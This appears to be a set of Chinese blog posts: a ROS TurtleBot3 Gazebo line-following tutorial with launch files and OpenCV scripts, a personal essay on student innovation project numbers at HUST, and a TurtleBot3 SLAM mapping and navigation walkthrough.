~/catkin_ws/src/learning_topic/worlds/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<sdf version="1.4">
<world name="default">

<scene>
<ambient>0.4 0.4 0.4 1</ambient>
<background>0.7 0.7 0.7 1</background>
<shadows>true</shadows>
</scene>

<!-- A global light source -->
<include>
<uri>model://sun</uri>
</include>

<!-- A ground plane -->
<include>
<uri>model://ground_plane</uri>
</include>

<!-- Our ground image -->
<include>
<uri>model://turtlebot3_autorace/course</uri>
<pose> 0 0 0 0 0 -1.54</pose>
</include>

<physics type="ode">
<real_time_update_rate>1000.0</real_time_update_rate>
<max_step_size>0.001</max_step_size>
<real_time_factor>1</real_time_factor>
<ode>
<solver>
<type>quick</type>
<iters>150</iters>
<precon_iters>0</precon_iters>
<sor>1.400000</sor>
<use_dynamic_moi_rescaling>1</use_dynamic_moi_rescaling>
</solver>
<constraints>
<cfm>0.00001</cfm>
<erp>0.2</erp>
<contact_max_correcting_vel>2000.000000</contact_max_correcting_vel>
<contact_surface_layer>0.01000</contact_surface_layer>
</constraints>
</ode>
</physics>
</world>

</sdf>

0course.launch

源代码

这个程序需要根据你自己的功能包名字修改一些地方。

<arg name="world_name" value="$(find turtlebot3_gazebo)/worlds/empty.world"/>改成<arg name="world_name" value="$(find learning_topic)/worlds/course.world"/>。(改成自己的功能包的名字)

~/catkin_ws/src/learning_topic/launch/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<launch>
<!-- $(find learning_topic)/models/turtlebot3_autorace是你的model文件的路径 -->
<env name="GAZEBO_RESOURCE_PATH" value="$(find learning_topic)/models/turtlebot3_autorace/ground_picture" />
<arg name="model" default="$(env TURTLEBOT3_MODEL)" doc="model type [burger, waffle, waffle_pi]"/>
<arg name="x_pos" default="0.0"/>
<arg name="y_pos" default="0.0"/>
<arg name="z_pos" default="0.0"/>

<include file="$(find gazebo_ros)/launch/empty_world.launch">
<!-- $(find learning_topic)/worlds/course.world是你的world文件的路径 -->
<arg name="world_name" value="$(find learning_topic)/worlds/course.world"/>
<arg name="paused" value="false"/>
<arg name="use_sim_time" value="true"/>
<arg name="gui" value="true"/>
<arg name="headless" value="false"/>
<arg name="debug" value="false"/>
</include>

<param name="robot_description" command="$(find xacro)/xacro $(find turtlebot3_description)/urdf/turtlebot3_$(arg model).urdf.xacro" />

<!-- 增设一个状态发布结点robot_state_publisher -->
<node pkg="robot_state_publisher" type="robot_state_publisher" name="robot_state_publisher">
<param name="publish_frequency" type="double" value="30.0" />
</node>

<node pkg="gazebo_ros" type="spawn_model" name="spawn_urdf" args="-urdf -model turtlebot3_$(arg model) -x $(arg x_pos) -y $(arg y_pos) -z $(arg z_pos) -param robot_description" />
</launch>

可以和官方给的turtlebot3_empty_world.launch做对比。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<launch>
<arg name="model" default="$(env TURTLEBOT3_MODEL)" doc="model type [burger, waffle, waffle_pi]"/>
<arg name="x_pos" default="0.0"/>
<arg name="y_pos" default="0.0"/>
<arg name="z_pos" default="0.0"/>

<include file="$(find gazebo_ros)/launch/empty_world.launch">
<arg name="world_name" value="$(find turtlebot3_gazebo)/worlds/empty.world"/>
<arg name="paused" value="false"/>
<arg name="use_sim_time" value="true"/>
<arg name="gui" value="true"/>
<arg name="headless" value="false"/>
<arg name="debug" value="false"/>
</include>

<param name="robot_description" command="$(find xacro)/xacro --inorder $(find turtlebot3_description)/urdf/turtlebot3_$(arg model).urdf.xacro" />

<node pkg="gazebo_ros" type="spawn_model" name="spawn_urdf" args="-urdf -model turtlebot3_$(arg model) -x $(arg x_pos) -y $(arg y_pos) -z $(arg z_pos) -param robot_description" />
</launch>

运行方式

理想的文件夹组织结构:

1
roslaunch learning_topic 0course.launch

运行结果

03follower_color_filter.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image
class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge() #创建CvBridge对象
self.image_sub=rospy.Subscriber('/camera/rgb/image_raw',Image,self.image_callback)
# 函数变量分别为:接受节点 、 接受消息类型、 回调函数
def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg)
if(image.all()!=None):
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
# 进行消息-> rgb -> hsv格式变量 的两步转换
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
# 建立蒙版参量 参量使用指针格式(inRange函数的要求)
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
masked = cv2.bitwise_and(image,image,mask=mask)
# 使用蒙版进行二值化 bitwise
cv2.namedWindow("showYellowOnly",cv2.WINDOW_NORMAL)
cv2.imshow("showYellowOnly",mask) #进行显示
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

运行结果

04follower_line_finder.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image

class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge()
self.image_sub = rospy.Subscriber(
'/camera/rgb/image_raw',
Image,
self.image_callback )

def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg,
desired_encoding='bgr8')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
# 同Exp4-2相同 不多做介绍
h,w,d= image.shape
top = 3*h/4
bot = top + 20
# 在图像的下3/4处进行切片 注意:image纵向向下为x正向 横向向右为y正向
mask[int(0):int(top),:] = 0
mask[int(bot):int(h),:] = 0
M = cv2.moments(mask)
# moments(): Opencv中用于计算图像中心的函数类 参见Opencv官网
if M['m00']>0:
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
cv2.circle(image,(cx,cy),20,(0,0,255),-1)
# 对切片之后的图像计算中心,并标记小圆圈
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL)
cv2.imshow("showImage",image)
cv2.namedWindow("findLine",cv2.WINDOW_NORMAL)
cv2.imshow("findLine",mask)
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

运行结果

注意红点和白点,这是小车即将前往的方向。

05follower_proporation.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2S, cv_bridge , numpy
from sensor_msgs.msg import Image
from geometry_msgs.msg import Twist

class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge()
self.image_sub = rospy.Subscriber('/camera/rgb/image_raw',Image,self.image_callback)
self.cmd_vel_pub = rospy.Publisher('cmd_vel',Twist,queue_size =1) # 发布话题使小车运动
self.twist =Twist()

def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg,desired_encoding='bgr8')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
h,w,d= image.shape
top = 5*h/6
bot = top + 20
mask[int(0):int(top),:] = 0
mask[int(bot):int(h),:] = 0
#cut the image to a blade
M = cv2.moments(mask)
#class MOMENTS
if M['m00']>0:
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
cv2.circle(image,(cx,cy),20,(0,0,255),-1)
err = cx-w/2
self.twist.linear.x = 0.15 # 小车的线速度不易设置太快,否则容易脱离跑道
self.twist.angular.z = -float(err)/1000 # 小车运动的角度
self.cmd_vel_pub.publish(self.twist)
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL)
cv2.imshow("showImage",image)
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

运行结果

小车自动沿着黄线前进。(窗口名字应叫做showImage)

order.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
#-#-# 视频开始时,以下准备工作全部就绪 #-#-#
# sudo apt-get install ros-noetic-gazebo-ros-pkgs ros-noetic-gazebo-ros-control
# sudo apt-get install ros-noetic-turtlebot3-gazebo
# sudo apt-get install ros-noetic-image-view

# 预加载Gazebo模型以免过慢。
cd ~/.gazebo/
# 第一种方案(官网下载,速度较慢):
mkdir -p models
cd ~/.gazebo/models/
wget http://file.ncnynl.com/ros/gazebo_models.txt
wget -i gazebo_models.txt
ls model.tar.g* | xargs -n1 tar xzvf
# 第二种方案(下载现成的models):
git clone https://gitee.com/yltzdhbc/gazebo_models
mv gazebo_models models #将下载的文件夹改名为models

cd ~/catkin_ws/src/
# git clone https://github.com/ROBOTIS-GIT/turtlebot3_simulations.git
git clone https://gitee.com/zthcool/turtlebot3_simulations
# git clone https://github.com/ROBOTIS-GIT/hls_lfcd_lds_driver
git clone https://gitee.com/hhdang/hls_lfcd_lds_driver
# git clone https://github.com/ROBOTIS-GIT/turtlebot3.git
git clone https://gitee.com/zthcool/turtlebot3
# git clone https://github.com/ROBOTIS-GIT/turtlebot3_msgs
git clone https://gitee.com/mieximiemie/turtlebot3_msgs
cd ~/catkin_ws && catkin_make
# 上一条注:一定要等catkin_make执行完!!!不然之后找不到包的时候非常难受

# 未遇到问题时不建议更新
# 添加源
sudo sh -c 'echo "deb http://packages.osrfoundation.org/gazebo/ubuntu-stable `lsb_release -cs` main" > /etc/apt/sources.list.d/gazebo-stable.list'
wget https://packages.osrfoundation.org/gazebo.key -O - | sudo apt-key add -
# 安装或更新
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install gazebo11
# Ubuntu16.04对应gazebo7,Ubuntu18.04对应gazebo9,下同
sudo apt-get install libgazebo11-dev

# 将小车模型改成waffle
gedit ~/.bashrc
# 将export TURTLEBOT3_MODEL=burger改成export TURTLEBOT3_MODEL=waffle
source ~/.bashrc

#-#-# 视频开始时,以上准备工作全部就绪 #-#-#



#-#-# 测试环境是否正确 #-#-#

# 启动终端A
roslaunch turtlebot3_gazebo turtlebot3_world.launch
# 上一条注:若gazebo正确,应该是能看到下图(见图一)
# 另起终端B
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch
# 上一条注:键盘控制小车。若gazebo中小车有移动,则说明控制程序正确
# 续注:验证完毕后,结束键盘控制进程(Ctrl+C)
# 在终端B中
roslaunch turtlebot3_gazebo turtlebot3_simulation.launch
# 上一条注:启动仿真模拟。若gazebo中小车自主移动,则说明模拟程序正确
# 续注:若gazebo卡住并在A中显示process has died,重复尝试两次。若仍然失败,考虑gazebo运行异常
# 在终端C中
rostopic list
# 上一条注:将会看到/camera/rgb/camera_info和/camera/rgb/image_view
# 续注:若没有,则检测.bashrc文件中,模型是否为waffle
# 在终端C中
roslaunch turtlebot3_gazebo turtlebot3_gazebo_rviz.launch
# 上一条注:打开左侧Camera,如果等待良久后,能看到图像,说明你的仿真非常对
# 续注:验证完毕后,结束终端B、C的进程(Ctrl+C)

#-#-# 测试结束 #-#-#



#-#-# 测试的过程中我要演示一个卡了我一下午的坑 #-#-#

# 注意,出现模型压根加载不了的时候,终端不一定会提示VMware: vmw_ioctl_command error Invalid argument(无效的参数)
# 但是有幸等到进程自然结束的时候,就会出现这一行报错。并且还会提示剩余空间不足。
# 如果有兴趣可以自己去等一会儿试试,这里我不浪费时间了。
# 解决方式:
echo "export SVGA_VGPU10=0" >> ~/.bashrc
source ~/.bashrc

# 更多问题请参考《ROS|⑥Turtlebot3仿真Waffle循线跟踪》
# https://shandianchengzi.gitee.io/2021/04/04/ROS%E5%BE%AA%E7%BA%BF%E8%B7%9F%E8%B8%AA/

#-#-# 演示结束 #-#-#




#-#-# 正式开始循线跟踪 #-#-#

# 注:在windows下编辑文件,并直接拖动到linux虚拟机运行,可能会报错说/r不存在。
# 因为windows和linux的换行是不一样的,所以最好在linux中复制粘贴程序,或者直接拷贝我的程序包。
# 拷贝操作如下:
cd ~/catkin_ws/src
git clone https://gitee.com/shandianchengzi/learning_topic.git # 克隆我已经测试过的程序
cd ~/catkin_ws/ && catkin_make
chmod +x ~/catkin_ws/src/learning_topic/scripts/*.py # 将所有的python程序设置为允许执行的文件

# 下面所有的程序都放在learning_topic功能包下,
# 如果你们的在别的功能包,就把learning_topic改成自己的功能包的名字

---------------01follower.py Beg----------------

#!/usr/bin/env python3
# 若使用的是python2,将第一行改成python2
# 若使用的是python,将第一行改成python
# 之后的程序同理
import rospy
from sensor_msgs.msg import Image # 从传感器图片的库中导入Image数据类型

def image_callback(msg):
pass

rospy.init_node('follower') # 建立结点follower
image_sub = rospy.Subscriber('camera/rgb/image_raw', Image, image_callback)
# 以上括号内分别是 接受的topic名称, 数据类型, 触发的回调函数
rospy.spin()

---------------01follower.py End----------------

rosrun learning_topic 01follower.py # 运行learning_topic功能包中的01follower.py
rosnode list # 如果出现了/follower,恭喜你!!!
rosnode info /follower
rostopic hz /camera/rgb/image_raw # 能看到图片信息的反馈
# 终止01follower

---------------02follower_opencv.py Beg----------------

#!/usr/bin/env python3
import rospy
from sensor_msgs.msg import Image
import cv2, cv_bridge # 导入opencv模块和协议模块

def image_callback(msg):
image = bridge.imgmsg_to_cv2(msg,desired_encoding="bgr8")
# 将ros_image通过蓝绿红8位色空间转换为OpenCV图像,结果返回给image,类参数bridge转换函数
if(image.all() == None):
print("Can't get your image, please check your code!")
else :
# print(image.size, image.shape) # 输出图像大小以及形状
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL) # 建立名为showImage的窗口 窗口类为 cv2内置的NORMAL窗口
cv2.imshow("showImage",image[:,:,0]) # 在showImage中显示二维图像
cv2.waitKey(3) # waitkey()延时显示图像,在imshow之后,没有waitkey()函数图像将无法显示

rospy.init_node('follower',anonymous = True) # anonymous 同步选项 每公布一条消息就接受一个消息
bridge = cv_bridge.CvBridge() # 创建CvBridge对象
image_sub=rospy.Subscriber('/camera/rgb/image_raw',Image,image_callback)
# 以上括号内分别是 接受的topic名称, 数据类型, 触发的回调函数
rospy.spin()

---------------02follower_opencv.py End----------------

roslaunch turtlebot3_gazebo turtlebot3_simulation.launch # 启动仿真模拟
rosrun learning_topic 02follower_opencv.py
# 可以看到showImage窗口,并看到图像在动

# 终止所有终端的进程
# 将turtlebot3_simulation/turtlebot3_gazebo/models全部拷贝到自己的功能包的models文件夹下
cp ~/catkin_ws/src/turtlebot3_simulation/turtlebot3_gazebo/models/* ~/catkin_ws/src/learning_topic/models/

---------------0course.launch Beg----------------

<launch>
<env name="GAZEBO_RESOURCE_PATH" value="$(find learning_topic)/models/turtlebot3_autorace/ground_picture" />
<arg name="model" default="$(env TURTLEBOT3_MODEL)" doc="model type [burger, waffle, waffle_pi]"/>
<arg name="x_pos" default="0.0"/>
<arg name="y_pos" default="0.0"/>
<arg name="z_pos" default="0.0"/>

<include file="$(find gazebo_ros)/launch/empty_world.launch">
<arg name="world_name" value="$(find learning_topic)/worlds/course.world"/>
<arg name="paused" value="false"/>
<arg name="use_sim_time" value="true"/>
<arg name="gui" value="true"/>
<arg name="headless" value="false"/>
<arg name="debug" value="false"/>
</include>

<param name="robot_description" command="$(find xacro)/xacro $(find turtlebot3_description)/urdf/turtlebot3_$(arg model).urdf.xacro" />

<node pkg="robot_state_publisher" type="robot_state_publisher" name="robot_state_publisher">
<param name="publish_frequency" type="double" value="30.0" />
</node>

<node pkg="gazebo_ros" type="spawn_model" name="spawn_urdf" args="-urdf -model turtlebot3_$(arg model) -x $(arg x_pos) -y $(arg y_pos) -z $(arg z_pos) -param robot_description" />
</launch>

---------------0course.launch End----------------

# 在自己的功能包下新建worlds文件夹,并自行设置0course.launch的内容

---------------course.world Beg----------------

<sdf version="1.4">
<world name="default">

<scene>
<ambient>0.4 0.4 0.4 1</ambient>
<background>0.7 0.7 0.7 1</background>
<shadows>true</shadows>
</scene>

<!-- A global light source -->
<include>
<uri>model://sun</uri>
</include>

<!-- A ground plane -->
<include>
<uri>model://ground_plane</uri>
</include>

<!-- Our ground image -->
<include>
<uri>model://turtlebot3_autorace/course</uri>
<pose> 0 0 0 0 0 -1.54</pose>
</include>

<physics type="ode">
<real_time_update_rate>1000.0</real_time_update_rate>
<max_step_size>0.001</max_step_size>
<real_time_factor>1</real_time_factor>
<ode>
<solver>
<type>quick</type>
<iters>150</iters>
<precon_iters>0</precon_iters>
<sor>1.400000</sor>
<use_dynamic_moi_rescaling>1</use_dynamic_moi_rescaling>
</solver>
<constraints>
<cfm>0.00001</cfm>
<erp>0.2</erp>
<contact_max_correcting_vel>2000.000000</contact_max_correcting_vel>
<contact_surface_layer>0.01000</contact_surface_layer>
</constraints>
</ode>
</physics>
</world>

</sdf>

---------------course.world End----------------

roslaunch learning_topic 0course.launch

---------------03follower_color_filter.py Beg----------------

#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image
# 导入模块
class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge() #创建CvBridge对象
self.image_sub=rospy.Subscriber('/camera/rgb/image_raw',Image,self.image_callback)
# 函数变量分别为:接受节点 、 接受消息类型、 回调函数
def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg)
if(image.all()!=None):
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
# 进行消息-> rgb -> hsv格式变量 的两步转换
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
# 建立蒙版参量 参量使用指针格式(inRange函数的要求)
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
masked = cv2.bitwise_and(image,image,mask=mask)
# 使用蒙版进行二值化 bitwise
cv2.namedWindow("showYellowOnly",cv2.WINDOW_NORMAL)
cv2.imshow("showYellowOnly",mask) #进行显示
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

---------------03follower_color_filter.py End----------------

---------------04follower_line_finder.py Beg----------------

#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image

class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge()
self.image_sub = rospy.Subscriber(
'/camera/rgb/image_raw',
Image,
self.image_callback )

def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg,
desired_encoding='bgr8')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
# 同Exp4-2相同 不多做介绍
h,w,d= image.shape
top = 3*h/4
bot = top + 20
# 在图像的下3/4处进行切片 注意:image纵向向下为x正向 横向向右为y正向
mask[int(0):int(top),:] = 0
mask[int(bot):int(h),:] = 0
M = cv2.moments(mask)
#moments(): Opencv中用于计算图像中心的函数类 参见Opencv官网
if M['m00']>0:
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
cv2.circle(image,(cx,cy),20,(0,0,255),-1)
# 对切片之后的图像计算中心,并标记小圆圈
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL)
cv2.imshow("showImage",image)
cv2.namedWindow("findLine",cv2.WINDOW_NORMAL)
cv2.imshow("findLine",mask)
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

---------------04follower_line_finder.py End----------------

---------------05follower_proporation.py Beg----------------

#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image
from geometry_msgs.msg import Twist

class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge()
self.image_sub = rospy.Subscriber('/camera/rgb/image_raw',Image,self.image_callback)
self.cmd_vel_pub = rospy.Publisher('cmd_vel',Twist,queue_size =1)
self.twist =Twist()

def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg,desired_encoding='bgr8')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
h,w,d= image.shape
top = 5*h/6
bot = top + 20
mask[int(0):int(top),:] = 0
mask[int(bot):int(h),:] = 0
#cut the image to a blade
M = cv2.moments(mask)
#class MOMENTS
if M['m00']>0:
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
cv2.circle(image,(cx,cy),20,(0,0,255),-1)
err = cx-w/2
self.twist.linear.x = 0.15 #(注:小车的速度不易设置太快,否则容易脱离跑道)
self.twist.angular.z = -float(err)/1000
self.cmd_vel_pub.publish(self.twist)
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL)
cv2.imshow("showImage",image)

cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

---------------05follower_proporation.py End----------------

个人看法,不做严格考证

前言

  本来是因为好奇大创是什么,并且对课题都挺感兴趣的,所以就顺便加了。但是对大创我了解得很少很浅。

  之所以写这个,也只是感觉我们学院的大创在2021年明显比2020年要多得多了。

  仔细研究之后我总结了以下两方面:

  ①因为我大二了,我更关注这个,所以主观觉得它变多了。

  ②因为政策支持,客观上确实增多了。

  实际上第一个原因才是我研究这个问题的根本原因,但是在探索过程中我很明显地注意到第二个现象确实一定意义上可以说是成立的。并且也找到了相关政策。

  看来我得好好关注时事,多关注这些政策性文件。

  ps: 之前希望用这个题材水一篇学生会的微信报题,所以罗列三大基本问题,认真总结出了一大堆结论,以至于陷入第二系统综合症(《人月神话》)——完全没必要——我完全不关心大创到底能给我带来什么,我只是好奇大创为什么多而已——恼怒地扔掉几万字的草稿。

查了半天查到的文件

  2019年7月10日,教育局印发《国家级大学生创新创业训练计划管理办法》

  以前也是有类似的文件的,不过在网上公开查询得到的并没有像这个文件这样一条一条严格且有范围得地说清楚。

  这个文件名里点明了高校需要做的事情。

1
2
3
4
5
6
7
第七条 高校是国创计划实施和管理的主体,主要职责是:
(一)制定本校大学生创新创业教育管理办法,开展创新创业教育教学研究与改革。
(二)负责国创计划项目的组织管理,开展项目遴选推荐、过程管理、结题验收等工作。
(三)制定相关激励措施,引导教师和学生参与国创计划。
(四)为参与项目的学生提供技术、场地、实验设备等条件支持和创业孵化服务。
(五)搭建项目交流平台,定期开展交流活动,支持学生参加相关学术会议,为学生创新创业提供交流经验、展示成果、共享资源的机会。
(六)做好本校国创计划年度总结和上报工作。

  不过我想,在文件下发之前估计大家也都是这么做的。但是文件下发之后这么做的人肯定会更多了。

  一年的大创通常在3~4月截止申报,也就是2019年的大创不受这个文件的影响。2020的大创申报和这个文件印发的时间差不了几个月,大创项目数量就明显激增了,可以看到宣传力度都是在提高的。去年大一下我在家里摸了别的团队的鱼没往这方面查探罢了。

  注意:2020年大创数目就激增了,不是2021才开始的。

  同时由于学工网站的同步一向令人无法信任,2019年的可能存在遗漏,所以……所以有可能2019的比这个数目要多……那么数据的对比度就降低了。

  HUST客观数据如下(2021尚未更新,理应更多):

年份 创新训练 创业训练 创业实践 参加总人数 本科总人数
2019 341 17 9 1148 29599
2020 1459 27 11 5683 29754
2021 1260 17 7 5125 29479

  2021的大创项目这个数量和频率简直再正常不过了。

  同时,我仔细回想了一下,今年的2020新生群里的大创信息明显要少于、晚于我们2019新生群的,所以大一只是有很多的机会没人知道罢了,并不是说这个项目本身的数量今年才增多。

  为了保证我的数据的可信度,我写下了我的第一个爬虫。爬取HUB系统2019-2021的大创项目信息: 很简单的一个小爬虫,头一次写,够用就行了。(ps:要不是华科官网简陋得很我第一次写爬虫也不至于盯上它hhhhh) 需要登录官网之后在程序中填入自己的Cookie才能使用。 (gitee.com)

尾记

  既然不是为了宣传大创也不是为了解答别人的疑惑,就不要去想着瞎回答问题耗时耗力。要是目标明确地直接查文件,这个问题早就弄明白了。

  有这时间多看看《人月神话》之类的感兴趣的东西或者多看看我的别的问题它不香吗。

# SLAM地图构建和导航

准备

  • 本实验新用的功能包:

    注意ros版本。

1
2
sudo apt-get install ros-noetic-map-server # 用到map_server中的map_saver
sudo apt-get install ros-noetic-navigation # 导航包navigation

正式开始

  1. 配置网络连接gedit ~/.bashrc。
  2. 建立远程控制连接。
  3. SLAM建图。
  4. 保存SLAM地图。
  5. 读取保存的地图文件并实现导航。

详见order.txt及注释。

order.txt

A表示主机,B表示从机,数字k表示第k个终端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 1. 网络配置
A1:
ifconfig # 查看主机IP地址
gedit ~/.bashrc # 在.bashrc文件中进行网络配置
... # 详见上一篇博客https://shandianchengzi.gitee.io/2021/03/19/ROS%E8%BF%9C%E7%A8%8B%E6%8E%A7%E5%88%B6/
source ~/.bashrc # 使网络配置生效
roscore # 启动roscore并检验网络配置是否成功
B1:
ssh -Y pi@192.168.1.133 # ssh连接从机
ifconfig # 查看从机IP地址
gedit ~/.bashrc
...
source ~/.bashrc
roscore

# 2. 建立远程控制连接
B2:
ssh -Y pi@192.168.1.133
roslaunch turtlebot3_bringup turtlebot3_robot.launch # 在机器人桌面终端调用Turtlebot3 应用程序

# 3. SLAM建图
A2:
roslaunch turtlebot3_slam turtlebot3_slam.launch # 执行slam启动命令
A3:
rosrun rviz rviz -d `rospack find turtlebot3_slam`/rviz/turtlebot3_slam.rviz # 在Rviz中打开模拟界面
# rviz的使用说明:
# https://zhuanlan.zhihu.com/p/64603248
A4:
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch # 启动键盘控制teleop命令
# 操作:操控机器人把实验场地都浏览一遍
# 1、扫描过程中需要注意尽量不要使机器人与环境产生接触。
# 2、不要人为在机器人附近活动。
# 3、不要将机器人速度提升到太快,太快的移动速递会导致环境探测信号量减少。
# 4、按照规范操作,以便得到正确的地形数据。

# 4. 保存SLAM地图
A5:
sudo apt-get install ros-noetic-map-server # 若已经下载了map_server功能包,则可以略过这个指令
rosrun map_server map_saver -f ~/map # 保存SLAM地图至~/map。将生成map.pgm/map.yaml两个文件
A2/A3/A4:Ctrl+C # 停止A3/A4/A5中运行的程序

# 5. 读取保存的地图文件,并实现导航
A2:
rosrun rviz rviz -d `rospack find turtlebot3_slam`/rviz/turtlebot3_slam.rviz # 在Rviz中打开模拟界面
A3:
sudo apt-get install ros-noetic-navigation # 若已经下载了navigation功能包,则可以略过这个指令
roslaunch turtlebot3_navigation turtlebot3_navigation.launch map_file:=$HOME/map.yaml # 读取测量好的地图数据~/map.yaml
# 操作:确定机器人相对于地图所处的位置和初始姿态:
# 点击工具栏2D Pose Estimate按键。
# 在地图上点击机器人相对于环境的正确位置并拖动箭头以确定机器人的姿态,可以通过多次调整确定最合适的初始位置设定。
# 注:完成设定后的绿色箭头便表示了机器人相对于地图所处的位置和初始姿态,机器人上的激光传感器同时会测量周围环境,可以通过实时测量的环境信息对初始位置进行校对(红点)。如果发现位置不正确可以重复定位操作。
# 操作:设定目标位置和目标姿态,设定方法如下:
# 点击工具栏2D Nav Goal按键。
# 点击一个确定的点并拖动箭头以设定目标位置和机器人最后停止的方向。
# 注:实验过程中要求操作者确定好初始位置和目的位置及姿态之后,机器人便会自行计算运行路径并移动至目标点。

常见问题

  本次实验建立在完整的连接和已有的控制命令中,不需要操作者参与计算,操作较为简单,可以在熟悉操作的情况下没有障碍的完成时实验。

  主要会出现的情况有:

